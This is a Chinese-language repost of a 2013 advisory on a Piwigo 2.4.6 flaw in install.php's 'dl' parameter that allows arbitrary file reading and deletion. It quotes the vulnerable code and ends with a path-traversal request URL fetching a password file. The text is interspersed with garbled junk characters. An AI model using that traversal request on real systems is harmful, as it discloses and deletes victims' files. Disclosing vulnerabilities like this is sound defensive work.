Piwigo任意文件泄露和任意文件删除漏洞

admin

Piwigo是用PHP编写的相册脚本。
) }$ w/ O1 N2 ^" I9 M
Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
9 S. X. @/ Q) ]; T- r1 s====================================================================
/ n9 U% R" p* w. V$ ?- G/install.php:
-------------
113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
114: {
$ G. p9 ?3 i( n' S115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
116:   header('Cache-Control: no-cache, must-revalidate');
( j& M- X7 m( [8 M- x& \& i117:   header('Pragma: no-cache');
118:   header('Content-Disposition: attachment; filename="database.inc.php"');
2 \) x& U5 B  `# ~: D# H" H* f119:   header('Content-Transfer-Encoding: binary');
120:   header('Content-Length: '.filesize($filename));
, i4 C# L# x' k121:   echo file_get_contents($filename);
7 `5 p8 Y. R1 [' i% a122:   unlink($filename);
123:   exit();
124: }
7 x% J0 n" Z) l5 l" m6 M====================================================================
5 D. x% _: G4 l
* i( F' l& a9 G% U  D/ BTested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Apache 2.4.2 (Win32)
           PHP 5.4.4
3 T1 F! V0 C0 p7 A; \           MySQL 5.5.25a
# a; q* E  y- W  W- P
9 E. F6 @9 Q  g4 A. o: PVulnerability discovered by Gjoko 'LiquidWorm' Krstic
: s! I: \, D' p$ H# \7 V                            @zeroscience

Advisory ID: ZSL-2013-5127
! Q8 C0 y! I% C( U/ X3 dAdvisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843

15.02.2013

--
  V+ E, s, E1 C3 K$ S' Yhttp://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt

& L2 ?: k; h, h* ]0 W. l! O